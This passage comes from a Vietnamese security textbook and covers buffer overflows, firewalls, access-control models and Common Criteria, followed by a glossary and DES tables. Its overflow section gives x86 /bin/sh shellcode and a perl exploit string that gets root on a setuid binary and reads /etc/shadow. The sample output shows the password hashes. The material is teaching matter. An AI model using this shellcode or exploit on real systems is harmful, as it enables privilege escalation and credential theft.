đè cácmục điều khiển chính. K ẻ tấn công viết đè địa chỉ tr ả về vớ i địa chỉ của đọan code cài

vào. Đó có thể là địa chỉ của chươ ng trình, thư viện hệ thống hoặc tải vào bộ đệm.Chúng ta xem cấu tạo vùng nhớ , nơ i cất chươ ng trình đang chạy, dữ liệu tổng thể, đốngvà ngăn xế p. Khi chươ ng trình chạy, hệ điều hành tạo ra một tiến trình cho nó. Tiến trìnhđượ c cho bở i không gian ảo của riêng nó vớ i cấu trúc như trên hình vẽ sau. Nó bao gồmnội dung chươ ng trình đang chạy, trong đó có dữ liệu tổng thể, bảng cấ p bộ nhớ , code củachươ ng trình ở gần đáy của không gian nhớ này. Trên đó không gian cho đống tăng dầnlên và trên nữa là không gian cho ngăn xế p giảm dần xuống.

Page 131: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 131/147

 - 131 -

Programs and ProcessesPrograms and Processes

 

Để mô tả tràn bộ đệm ngăn xế p ta xét chươ ng trình C sau. Nó chứa biến cục bộ duy nhất, bộ đệm inp. Hàm Hello nhắc nhậ p tên mà đượ c đọc vào bộ đệm nhờ hàm thư viện khôngan toàn gets(). Sau đó hiện k ết quả đọc đượ c nhờ hàm thư viện printf (). Nếu giá tr ị nhỏ đượ c đọc thì ở  đây không có vấn đề gì. Chươ ng trình gọi hàm sẽ chạy thành công như trong lần chạy thứ nhất trên hình sau đó. Nếu dữ liệu lớ n như trong lần chạy thứ hai, dữ 

liệu sẽ vượ t qua cuối bộ đệm và ghi đè lên con tr ỏ khung lưu tr ữ và tr ả về địa chỉ saitươ ng ứng vớ i biểu diễn nhị phân của các ký tự. Và khi hàm tr ả điều khiển cho địa chỉ tr ả về, nó nhảy đến vị trí bộ nhớ  không hợ  p lệ, báo lỗi “Segmentation Fault” và dừngchươ ng trình không bình thườ ng như thông báo trên hình sau đó. K ẻ tấn công tận dụngcơ hội này để truyền điều khiển về chươ ng trình đã định tr ướ c.

Page 132: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 132/147

 - 132 -

Stack Overflow ExampleStack Overflow Examplevoid hello(char *tag){

char inp[16];

printf("Enter value for %s: ", tag);gets(inp);printf("Hello your %s is %s\n", tag,inp);

}

$ cc -g -o buffer2 buffer2.c

$ ./buffer2Enter value for name: Bill and LawrieHello your name is Bill and Lawriebuffer2 done

$ ./buffer2Enter value for name:XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXSegmentation fault (core dumped)

$ perl -e 'print pack("H*","41424344454647485152535455565758616263646566676808fcffbf948304080a4e4e4e4e0a");' | ./buffer2Enter value for name:

Hello your Re?pyy]uEA is ABCDEFGHQRSTUVWXabcdefguyuEnter value for Kyyu:Hello your Kyyu is NNNNSegmentation fault (core dumped)

 

VIII.3.3 Code che đậy (Shellcode)Đây là code chươ ng trình đượ c chuẩn bị bở i k ẻ tấn công. Nó đượ c lưu trong bộ nhớ bị tràn và k ẻ tấn công tìm cách chuyển điều khiển sang cho shell.

ExampleExample ShellcodeShellcodenopnop // end of nop sledjmp find // jump to end of code

cont: pop %esi // pop address of sh off stack into %esixor %eax,%eax // zero contents of EAXmov %al,0x7(%esi) // copy zero byte to end of string sh (%esi)lea (%esi),%ebx // load address of sh (%esi) into %ebxmov %ebx,0x8(%esi) // save address of sh in args[0] (%esi+8)mov %eax,0xc(%esi) // copy zero to args[1] (%esi+c)mov $0xb,%al // copy execve syscall number (11) to ALmov %esi,%ebx // copy address of sh (%esi) t0 %ebxlea 0x8(%esi),%ecx // copy address of args (%esi+8) to %ecxlea 0xc(%esi),%edx // copy address of args[1] (%esi+c) to %edxint $0x80 // software interrupt to execute syscall

find: call cont // call cont which saves next address on stacksh: .string "/bin/sh " // string constant

args: .long 0 // space used for args array.long 0 // args[1] and also NULL for env array

90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 8946 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1ff ff ff 2f 62 69 6e 2f 73 68 20 20 20 20 20 20

 

Page 133: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 133/147

 - 133 -

Example Stack Overflow AttackExample Stack Overflow Attack

$ dir -l buffer4

-rwsr-xr-x 1 root knoppix 16571 Jul 17 10:49 buffer4

$ whoamiknoppix$ cat /etc/shadowcat: /etc/shadow: Permission denied

$ cat attack1perl -e 'print pack("H*","90909090909090909090909090909090" ."90909090909090909090909090909090" ."9090eb1a5e31c08846078d1e895e0889" ."460cb00b89f38d4e088d560ccd80e8e1" ."ffffff2f62696e2f7368202020202020" ."202020202020202038fcffbfc0fbffbf0a");print "whoami\n";print "cat /etc/shadow\n";'

$ attack1 | buffer4Enter value for name: Hello your yyy)DA0Apy ise?^1AFF.../bin/sh...root

root:$1$rNLId4rX$nka7JlxH7.4UJT4l9JRLk1:13346:0:99999:7:::daemon:*:11453:0:99999:7:::...nobody:*:11453:0:99999:7:::knoppix:$1$FvZSBKBu$EdSFvuuJdKaCH8Y0IdnAv/:13346:0:99999:7:::...

 

Phát triển code che đậy Trong ví dụ trên mô tả vớ i Intel Linux shellcode cơ bản để chạy bản dịch Bourne shell.Shellcode cần phải phù hợ  p vớ i đối số cho execve(). Nó bao gồm mọi code để gọi hàmcủa hệ thống, phải độc lậ p vớ i vị trí và không chứa NULLs – xâu k ết thúc của C.Thông thườ ng chươ ng trình che đậy dướ i vỏ bọc là tiện ích hệ thống đáng tin cậy, dịch

vụ mạng đặc biệt, code thư viện đượ c sử dụng chung, như hình ảnh.Các hàm của shellcode: giao diện tự sinh, tạo đối tượ ng nghe để khở i tạo giao diện k ếtnối, tạo k ết nối ngượ c lại tớ i k ẻ tấn công, vượ t qua các qui tắc tườ ng lửa, thoát khỏi môitr ườ ng thực thi hạn chế.

VIII.3.4 Bảo vệ tràn bộ nhớ  Tràn bộ  đệm đượ c khai thác r ộng rãi, có nhiều code có lỗ hổng đang dùng. Mặc dùnguyên nhân và các biện pháp chống đã biết. Có hai cách chống r ộng rãi: chươ ng trìnhmớ i đượ c gia cố trong thờ i gian dịch và kiểm soát tấn công chươ ng trình đang có trongthờ i gian chạy. Nếu sử dụng ngôn ngữ bậc cao vớ i kiểu mạnh , thì sẽ không có lỗ hổng tràn bộ đệm.

Chươ ng trình dịch buộc kiểm tra cỡ và các thao tác cho phép trên các biến. Khi đó phảitr ả giá khi sử dụng nguồn và hạn chế truy cậ p đến phần cứng. Tuy nhiên vẫn cần một số code của các ngôn ngữ giống C.

Bảo vệ trong thờ i gian dịch 

Thiết lậ p các k ỹ thuật lậ p trình an toàn. Nếu sử dụng ngôn ngữ tiềm ẩn không an toànnhư C, lậ p trình viên cần viết code an toàn một cách tườ ng minh. Bằng thiết k ế vớ i code

Page 134: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 134/147

 - 134 -

mớ i, sau khi xem xét code cũ. Xem an toàn tràn bộ đệm như tậ p con các k ỹ thuật lậ ptrình an toàn nói chung. Chú ý đến các lỗi nhỏ, kiểm tra đủ không gian trong bộ đệm bấtk ỳ.Có đề nghị mở r ộng an toàn cho C như tạo điểm phạt thực thi, cần dịch chươ ng trình vớ ichươ ng trình dịch đặc biệt. Có một số phươ ng án thư viện chuẩn an toàn, các hàm mớ i,

như strlcpy(). Cài đặt lại an toàn hơ n một số hàm chuẩn như thư viện động, chẳng hạnLibsafe.Bổ sung code của chức năng nhậ p và thoát để kiểm tra ngăn xế p ghi nhận việc ghi đè, sử dụng yếu tố ngẫu nhiên như bảo vệ ngăn xế p, kiểm tra viết đè giữa biến cục bộ và con tr ỏ khung lưu tr ữ và địa chỉ tr ả về. Chươ ng trình dừng nếu phát hiện thay đổi. Phát hành: bảndịch lại, hỗ tr ợ phát hiện lỗi hoặc copy an toàn lưu tr ữ/kiểm tra địa chỉ tr ả về.

Bảo vệ trong thờ i gian chạy

Sử dụng hỗ tr ợ bộ nhớ  ảo để tạo một số vùng bộ nhớ không thực thi đượ c như stack,heap, global data. Cần hỗ tr ợ  từ các phần cứng bộ nhớ  như trong SPARC / Solaris

systems, x86 Linux/Unix/Windows systems. Phát hành hỗ tr ợ  cho code ngăn xế  p thựcthi, cần một số dự phòng đặc biệt.Thao tác trên vị trí của các cấu trúc dữ liệu chính, sử dụng tịnh tiến ngẫu nhiên cho mỗitiến trình, có vùng địa chỉ lớ n trên các phươ ng tiện của các hệ thống hiện đại chống cácva chạm và đoán địa chỉ bộ đệm đích là không thể. Vị trí ngẫu nhiên cho bộ đệm heap vàvị trí các hàm thư viện chuẩn. Đặt các trang bảo vệ giữa các vùng quan tr ọng của bộ nhớ ,đặt cờ  trong bộ nhớ như địa chỉ không hợ  p lệ. Có thể ngay cả đặt giữa các khung ngănxế p và các bộ đệm heap trong thờ i gian thực thi và phải tr ả giá về không gian.Có nhiều các phươ ng án tấn công khác: phươ ng án tràn ngăn xế p, tràn heap, tràn dữ liệutổng thể, tràn xâu định dạng, tràn số nguyên. Có thể có nhiều hơ n nữa đượ c phát hiệntrong tươ ng lai. Một số không thể ngăn chặn tr ừ khi code an toàn lúc ban đầu.

Phươ ng án tràn ngăn xế p chỉ viết đè bộ đệm và con tr ỏ khung lưu tr ữ tr ả về xảy ra nhưngđến khung giả tr ả về lờ i gọi hàm điều khiển bở i k ẻ tấn công đượ c dùng khi có tràn bộ đệm giớ i hạn. Ví dụ tách ra bở i một khung. Tuy có các hạn chế: cần biết địa chỉ chính xáccủa bộ đệm, hàm gọi thực hiện vớ i khung giả, phươ ng án tràn ngăn xế p thay địa chỉ tr ả về  bằng hàm thư viện chuẩn để đáp lại sự bảo vệ ngăn xế p không thực thi. K ẻ tấn công xâydựng các tham số phù hợ  p trên ngăn xế p phía trên địa chi tr ả về. K ẻ tấn công có thể cầnđịa chỉ chính xác của bộ đệm, có thể ngay cả k ết nối hai lờ i gọi thư viện.Cũng có tấn công bộ đệm đặt trong heap. Thông thườ ng đặt trên code của chươ ng trình, bộ nhớ  đượ c yêu cầu bở i chươ ng trình để sử dụng cho các cấu trúc dữ liệu động, ví dụ như danh sách móc nối. Không có địa chỉ tr ả về, nên không có chuyển giao quyền điềukhiển dễ dàng. Có thể có con tr ỏ hàm để khai thác hoặc thao tác cấu trúc dữ liệu quản tr ị.

Cách bảo vệ là dùng heap ngẫu nhiên và không thực thi.Có thể tấn công bộ đệm đặt trong dữ liệu tổng thể. Có thể đặt phía trên code của chươ ngtrình. Nếu có con tr ỏ hàm và bộ đệm có lỗ hổng hoặc bảng quản tr ị các quá trình liền k ề. Nhắm tớ i viết đè con tr ỏ hàm đượ c gọi sau đó. Cách bảo vệ là dùng vùng dữ liệu tổng thể ngẫu nhiên và không thực thi, dịch chuyển con tr ỏ hàm, các trang bảo vệ.

Page 135: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 135/147

 - 135 -

VIII.4 Bứ c tườ ng lử aVIII.4.1 Mở  đầu

Bức tườ ng lửa phát triển mạnh mẽ, đượ c ứng dụng trong các các hệ thống thông tin.Bây giờ mọi ngườ i đều muốn lên Internet và các mạng liên k ết vớ i nhau. Vì vậy cần

quan tâm thườ ng xuyên về an toàn. Không dễ dàng bảo vệ từng hệ thống trong tổ chức. Thông thườ ng sử dụng bức tườ ng lửa, cung cấ p vòng bảo vệ như một phần củachiến lượ c an toàn toàn diện.Bứ c tườ ng lử a là gìLà điểm cổ chai để kiểm soát và theo dõi. Các mạng liên k ết vớ i độ tin cậy khác nhau, buộc có hạn chế trên các dịch vụ của mạng. Chẳng hạn, vận chuyển phải có giấy phép. Kiểm tra và kiểm soát truy cậ p, có thể cài đặt cảnh báo các hành vi bất thườ ng.Cung cấ p bảng NAT và sử dụng theo dõi giám sát. Cài đặt mạng riêng ảo (VPN) sử dụng cơ chế an toàn IPSec. Có thể miễn dịch tr ướ c.Hạn chế của bứ c tườ ng lử aKhông bảo vệ đượ c các tấn công đi vòng qua nó, chẳng hạn mạng lén lút, thiết bị 

modems. Nó ngăn cản cả các tổ chức tin cậy và dịch vụ tin cậy (SSL/SSH).Không bảo vệ chống các mối đe dọa từ bên trong, chẳng hạn như những nhân viên bực tức hoặc thông đồng vớ i k ẻ xấu. Không thể bảo vệ chống việc truyền các chươ ngtrình hoặc file nhiễm virus, vì có phạm vi r ất r ộng các dạng file và các hệ điều hànhVIII.4.2 Bứ c tườ ng lử a – các lọc góiLà thành phần của bức tườ ng lửa nhanh nhất và đơ n giản nhất, là cơ sở của mọi hệ thống tườ ng lửa. Nó kiểm tra mỗi gói IP (không có ngữ cảnh) và cho phép hay từ chốituỳ theo qui tắc xác định. Suy ra có hạn chế truy cậ p đến các dịch vụ và các cổng.Các đườ ng lối mặc định có thể 

o  R ằng không cho phép tức là cấmo  R ằng không cấm tức là cho phép

Page 136: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 136/147

 - 136 -

Tấn công các lọc góiĐịa chỉ IP lừa đảo: giả địa chỉ nguồn làm cho tin tưở ng, bổ sung bộ lọc lên mạchchuyển để ngăn chặn.Tấn công mạch truyền gốc: k ẻ tấn công đặt đượ c truyền khác vớ i mặc định, ngănchặn các gói truyền gốcTấn công các đoạn tin (fragment) nhỏ. Chia thông tin phần đầu thành một số đoạnnhỏ. Hoặc bỏ qua hoặc sắ p xế p lại tr ướ c khi kiểm tra

Bứ c tườ ng lử a – các lọc gói trạng tháiLọc gói truyền thống không kiểm tra ngữ cảnh của tầng cao hơ n, tức là sánh các gói

về vớ i dòng chảy ra. Lọc gói tr ạng thái hướ ng đến yêu cầu đó. Chúng kiểm tra mỗigói IP trong ngữ cảnh: giữ vết theo dõi vớ i các k ỳ client-server, kiểm tra từng góiđúng thuộc vào một phiên. Suy ra có khả năng tốt hơ n phát hiện các gói giả tách khỏingữ cảnh.

VIII.4.3 Bứ c tườ ng lử a – cổng giao tiếp ở tầng ứ ng dụng (hoặc proxy)Có cổng giao tiế p chuyên dùng cho ứng dụng – proxy (ngườ i đượ c uỷ quyền).Có truy cậ p đầy đủ đến giao thức

o   Ngườ i sử dụng yêu cầu dịch vụ từ proxyo  Proxy kiểm tra các yêu cầu có hợ  p lệ khôngo  Sau đó xử lý yêu cầu và tr ả lờ i cho ngườ i sử dụng

o  Có thể vào/theo dõi vận chuyển ở tầng ứng dụngCần các proxies khác nhau cho mỗi dịch vụ o  Một số dịch vụ hỗ tr ợ một cách tự nhiên proxyo   Những loại khác thì cần giải quyết một số vấn đề 

Page 137: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 137/147

 - 137 -

VIII.4.4 Bứ c tườ ng lử a - cổng giao tiếp mứ c mạch vòngChuyển tiế p 2 k ết nối TCP. Có sự an toàn bằng cách hạn chế mà các k ết nối này cho

 phép. Mỗi lần tạo ra chuyển tiế p thông thườ ng không kiểm tra nội dung. Thông thườ ng

đượ c sử dụng khi tin cậy ngườ i sử dụng bên trong bằng cách cho phép các k ết nối rangoài nói chung. Gói SOCKS đượ c sử dụng r ộng rãi cho mục đích này.

VIII.4.5 Máy chủ BastionHệ thống máy chủ an toàn cao. Chạy cổng giao tiế p mức ứng dụng và mạch vòng.Hoặc cung cấ p các dịch vụ truy cậ p bên ngoài. Có tiềm năng thể hiện các yếu tố củamáy chủ. Vì an toàn bền vững, nên hệ điều hành nặng nề hơ n, các dịch vụ chính, bổ sung xác thực, proxies nhỏ, an toàn, độc lậ p, không đặc quyền.Có thể hỗ tr ợ 2 hay nhiều hơ n k ết nối mạng và có thể đượ c tin cậy để ép buộc chínhsách tách bạch tin cậy giữa các k ết nối mạng.

Cấu hình bức tườ ng lửa (Firewall Configurations)

Page 138: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 138/147

 - 138 -

VIII.4.6 Kiểm soát truy cậpHệ thống đã xác định đượ c định danh như ngườ i sử dụng, xác định các nguồn gốc nào

nó có thể truy cậ p. Mô hình tổng quát là ma tr ận truy cậ p vớ io  Chủ thể - thực thể chủ động (ngườ i sử dụng, quá trình)o  Đối tượ ng - thực thể bị động (file hoặc nguồn)o  Quyền truy cậ p – cách mà đối tượ ng đượ c truy cậ p

Có thể đượ c phân tách bở io  Các cột như danh sách kiểm soát truy cậ po  Các hàng như các thẻ về khả năng

Ma tr ận kiểm soát quyền truy cậ p

Page 139: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 139/147

 - 139 -

VIII.4.7 Các hệ thống máy tính tin cậyAn toàn thông tin ngày càng quan tr ọng. Có các mức độ khác nhau về sự nhạy cảmcủa thông tin

o  Phân loại thông tin quân sự: bảo mật, bí mậtChủ thể (ngườ i hoặc chươ ng trình) có nhiều quyền khác nhau truy cậ p đến các đốitượ ng thông tin. Đượ c biết như an toàn nhiều tầng

o  Chủ thể có mức độ an toàn tối đa và hiện tạio  Đối tượ ng có phân loại mức độ tin cậy cố định

Muốn xem xét các cách tăng độ tin tưở ng trong hệ thống để củng cố các quyền đó.

VIII.4.8 Mô hình Bell LaPadulaMột trong những mô hình an toàn nổi tiếng nhất. Đượ c cài đặt như các chính sách bắt buộc trong hệ thống. Có hai chính sách chính

o  Không đọc lên (tính chất an toàn đơ n giản)  Chủ thể chỉ có thể đọc/viết các đối tượ ng nếu mức độ an toàn hiện

tại của chủ thể tr ội hơ n (>=) phân loại của đối tượ ngo  Không viết xuống (tính chất *)

  Chủ thể chỉ có thể bổ sung/viết lên đối tượ ng nếu mức độ an toànhiện tại của chủ thể đượ c tr ội (<=) bở i phân loại của đối tượ ng

Reference Monitor (Giao diện chỉ dẫn)

Page 140: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 140/147

 - 140 -

Các hệ thống máy tính triển khaiChính phủ có thể phát triển các hệ thống IT. Đươ ng đầu vớ i phạm vi r ộng các chuẩn

o  TCSEC, IPSEC và bây giờ là Tiêu chuẩn ChungXác định một số mức độ triển khai vớ i tăng cườ ng kiểm tra qui tắc. Đã xuất bảndanh sách các sản phẩm triển khai

o  Chỉ hướ ng tớ i sử dụng cho chính phủ/quốc phòngo  Cũng có thể hữu ích trong công nghiệ p

VIII.4.9 Tiêu chuẩn chungĐặc tả yêu cầu an toàn quốc tế khở i đầu và xác định tiêu chuẩn triển khai. Tích hợ  pvớ i các chuẩn khác

o  Chẳng hạn CSEC, ITSEC, CTCPEC (Canada), Federal (US)Đặc tả các chuẩn cho

o  Tiêu chuẩn triển khaio  Phươ ng pháp luận cho ứng dụng của Tiêu chuẩno  Các thủ tục hành chính triển khai, chứng nhận và các sơ  đồ chỉ định

Xác định tậ p các yêu cầu an toàn, có đích triển khai (TOE). Yêu cầu r ơ i vào trong 2loại sau

o  Chức năngo  Sự tin cậyCả hai đượ c tổ chức theo lớ  p classes của họ hoặc cấu thành

Các yêu cầu Tiêu chuẩn chungYêu cầu chức năng

Page 141: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 141/147

 - 141 -

o  Kiểm soát an toàn, hỗ tr ợ mã, trao đổi thông tin, bảo vệ dữ liệu ngườ i sử dụng, định danh và xác thực, quản lý an toàn, tính riêng tư, bảo vệ cáchàm an toàn tin cậy, nguồn thiết thực, truy cậ p TOE, đườ ng dẫn tin cậy

Yêu cầu sự tin cậyo  Quản lý tham số hệ thống, phân phối và thao tác, phát triển, tài liệu chỉ 

dẫn, hỗ tr ợ thờ i gian sống, kiểm tra, đánh giá lỗ hổng, bảo trì sự tin cậy

Bài tập

1.  Liệt kê và phân loại các phần mềm có hại và các biện pháp phòng chống.2.  Phân tích các k ỹ thuật xâm nhậ p hệ thống và cách phòng ngừa.3.   Nêu các biện pháp tăng cườ ng an ninh, bảo mật máy tính cá nhân dựa trên các

 phần mềm thông dụng hiện có.4.  Mục đích yêu cầu của việc xây dựng bức tườ ng lửa. Có những loại bức tườ ng lửa

nào.

5.   Nêu cách thiết lậ p bức tườ ng lửa sử dụng công cụ hỗ tr ợ trong hệ điều hành.6.  Phân tích các lỗi tràn bộ nhớ có thể xảy ra, nêu nguyên nhân.7.  Tìm hiểu các yêu cầu lậ p trình an toàn.8.  Trình bày một số mô hình hệ thống máy tính tin cậy.

Page 142: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 142/147

 - 142 -

DANH MỤC CÁC KÝ HIỆU, CÁC CHỮ VIẾT TẮT

Stt Ký hiệu Diễn giải

1  ACL Access Control List – Danh sách kiểm soát truy cậ p

2  AES Advanced Encryption Standard - chuẩn mã quốc tế 

3  AH Authentication Header - đầu mục xác thực

4  CA Certification authority - Chủ quyền chứng nhận

5  CERT Computer emergency response team - Đội cấ p cứu sự cố máy tính

6  CRL Certificate revocation list – Danh sách thu hồi chứng nhận

7  CSDL Cơ sở dữ liệu

8  CNTT Công nghệ thông tin

9  CSHT Cơ sở hạ tầng

10  CBC Cipher Block Chaining – Dãy mã khối

11  CFB Cipher feedback - Phản hồi mã

12  DBA Database administrator - Quản tr ị hệ thống

13  DES Data Encription Standards - Chuẩn mã dữ liệu

14  DNA Domain Name System - Hệ thống tên miền

15  DSA Digital signature Algorithm - Thuật toán chữ ký điện tử 

16  DSS Digital signature standard – Chuẩn chữ ký điện tử 

17  ECB Electronic codebook – sách mã điện tử 

18  ECC Encription curve code – mã đườ ng cong Elip

19  ESP Encapsulating security payload – tải bảo mật đóng gói20  FIPS Federal Information Processing Standard - chuẩn xử lý thông tin

Liên bang

21  IDEA International data encryption algorithm - Thuật toán mã dữ liệuquốc tế 

Page 143: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 143/147

 - 143 -

22  IPKI Internet X.509 public key Infrastructure - Hạ tầng khoá công khaiInternet X.509

23  KDC Key Distribution Center – Trung tâm phân phối khóa

24  LAN Local area network – mạng cục bộ 

25  MD Message digest – digest bản tin

26    NAT Network address translation – dịch địa chỉ mạng

27  PKCS Public key cryptography standard – Chuẩn mã khoa công khai

28  PKI Public Key Infrastructure - Hạ tầng khoá chung

29  PGP Pretty Good Privacy – Phần mềm bảo mật thư điện tử 

30  RSA Thuật toán mã công khai RSA mang tên Rivest, Shamir, Adleman

31  SET Secure Electronic transaction – Thanh toán điện tử an toàn

32  SHA1 Secure hash algorithm 1 – Thuật toán băm 1

33  SMTP Simple Mail Transfer Protocol – Giao thức chuyển thư đơ n giản

34  SOAP Simple Object Access Protocol – Giao thức truy cậ p đối tượ ngđơ n giản

35  SSL Secure Socket Layer – giao thức bảo mật lớ  p vận chuyển

36  TLS Transport Layer Security – Chuẩn giao thức bảo mật lớ  p vậnchuyển

37  UID User Identification – Định danh ngườ i sử dụng

38  TTP Trusted Third Party – Bên thứ ba tin cậy

39  URL Uniform Resource Locator – Địa chỉ nguồn thống nhất

40  VPN Virtual private network - mạng riêng ảo

41  WAN Wide area network - mạng diện r ộng

42  WTLS Wireless transport layer security – an toàn tầng vận chuyển khôngdây

Page 144: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 144/147

 - 144 -

TÀI LIỆU THAM KHẢO

[1] William Stallings. Cryptography and Network Security: Principles and Practice. Third

Edition. Pearson Education, 2003.

[2] A. Menezes, P. van Oorschot và S. Vanstone. - Handbook of Applied Cryptography,

Fifth Edition, CRC Press, 1996.

[3] Douglas Stinson - Cryptography: Theory and Practice. Boca Raton. FL. CRC Press,

2007.

[4] http://en.wikipedia.org

[5] http://vn.wikipedia.org

[6] http://www.ietf.org/rfc

[7] http://www.schneier.com/blowfish.html

[8] http://www.rsasecurity.com[9] http://people.csail.mit.edu/rivest/crypto-security.html

[10] Nguyễn Ngọc Tuấn, Hồng Phúc. Công nghệ bảo mật World Wide Web.

 Nhà xuất bản Thống kê, 2005.

Page 145: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 145/147

 - 145 -

PHỤ LỤC

1.  Phụ lục thuật toán DES1.1  Phụ lục 1.1

IP58 50 42 34 26 18 10 260 52 44 36 28 20 12 462 54 46 38 30 22 14 664 56 48 40 32 24 16 857 49 41 33 25 17 9 159 51 43 35 27 19 11 361 53 45 37 29 21 13 563 55 47 39 31 23 15 7

1.2  Phụ lục 1.2

IP-1

40 8 48 16 56 24 64 3239 7 47 15 55 23 63 3138 6 46 14 54 22 62 3037 5 45 13 53 21 61 2936 4 44 12 52 20 60 2835 3 43 11 51 19 59 2734 2 42 10 50 18 58 2633 1 41 9 49 17 57 25

1.3  Phụ lục 1.3E

32 1 2 3 4 54 5 6 7 8 98 9 10 11 12 1312 13 14 15 16 1716 17 18 19 20 2120 21 22 23 24 2524 25 26 27 28 2928 29 30 31 32 1

1.4  Phụ lục 1.4: S box

Page 146: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 146/147

 - 146 -

HàngCột

[0] [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15]S1

[0] 14 4 13 1 2 15 11 8 3 10 6 12 5 9 0 7[1] 0 15 7 4 14 2 13 1 10 6 12 11 9 5 3 8

[2] 4 1 14 8 13 6 2 11 15 12 9 7 3 10 5 0[3] 15 12 8 2 4 9 1 7 5 11 3 14 10 0 6 13

S2

[0] 15 1 8 14 6 11 3 4 9 7 2 13 12 0 5 10[1] 3 13 4 7 15 2 8 14 12 0 1 10 6 9 11 5[2] 0 14 7 11 10 4 13 1 5 8 12 6 9 3 2 15[3] 13 8 10 1 3 15 4 2 11 6 7 12 0 5 14 9

S3

[0] 10 0 9 14 6 3 15 5 1 13 12 7 11 4 2 8[1] 13 7 0 9 3 4 6 10 2 8 5 14 12 11 15 1[2] 13 6 4 9 8 15 3 0 11 1 2 12 5 10 14 7[3] 1 10 13 0 6 9 8 7 4 15 14 3 11 5 2 12

S4

[0] 7 13 14 3 0 6 9 10 1 2 8 5 11 12 4 15[1] 13 8 11 5 6 15 0 3 4 7 2 12 1 10 14 9[2] 10 6 9 0 12 11 7 13 15 1 3 14 5 2 8 4[3] 3 15 0 6 10 1 13 8 9 4 5 11 12 7 2 14

S5

[0] 2 12 4 1 7 10 11 6 8 5 3 15 13 0 14 9[1] 14 11 2 12 4 7 13 1 5 0 15 10 3 9 8 6[2] 4 2 1 11 10 13 7 8 15 9 12 5 6 3 0 14

[3] 11 8 12 7 1 14 2 13 6 15 0 9 10 4 5 3S6

[0] 12 1 10 15 9 2 6 8 0 13 3 4 14 7 5 11[1] 10 15 4 2 7 12 9 5 6 1 13 14 0 11 3 8[2] 9 14 15 5 2 8 12 3 7 0 4 10 1 13 11 6[3] 4 3 2 12 9 5 15 10 11 14 1 7 6 0 8 13

S7

[0] 4 11 2 14 15 0 8 13 3 12 9 7 5 10 6 1[1] 13 0 11 7 4 9 1 10 14 3 5 12 2 15 8 6[2] 1 4 11 13 12 3 7 14 10 15 6 8 0 5 9 2[3] 6 11 13 8 1 4 10 7 9 5 0 15 14 2 3 12

S8

[0] 13 2 8 4 6 15 11 1 10. 9 3 14 5 0 12 7[1] 1 15 13 8 10 3 7 4 12 5 6 11 0 14 9 2[2] 7 11 4 1 9 12 14 2 0 6 10 13 15 3 5 8[3] 2 1 14 7 4 10 8 13 15 12 9 0 3 5 6 11

Page 147: Giaotrinh Antoanthongtin_TiengViet

5/14/2018 Giaotrinh Antoanthongtin_TiengViet - slidepdf.com

http://slidepdf.com/reader/full/giaotrinh-antoanthongtintiengviet 147/147

 - 147 -

1.5  Phụ lục 1.5

P16 7 20 2129 12 28 171 15 23 265 18 31 102 8 24 1432 27 3 919 13 30 622 11 4 25

1.6  Phụ lục 1.6

PC157 49 41 33 25 17 91 58 50 42 34 26 18

10 2 59 51 43 35 2719 11 3 60 52 44 3663 55 47 39 31 23 157 62 54 46 38 30 2214 6 61 53 45 37 2921 13 5 28 20 12 4

1.7  Phụ lục 1.7

PC214 17 11 24 1 53 28 15 6 21 10

23 19 12 4 26 816 7 27 20 13 241 52 31 37 47 5530 40 51 45 33 4844 49 39 56 34 5346 42 50 36 29 32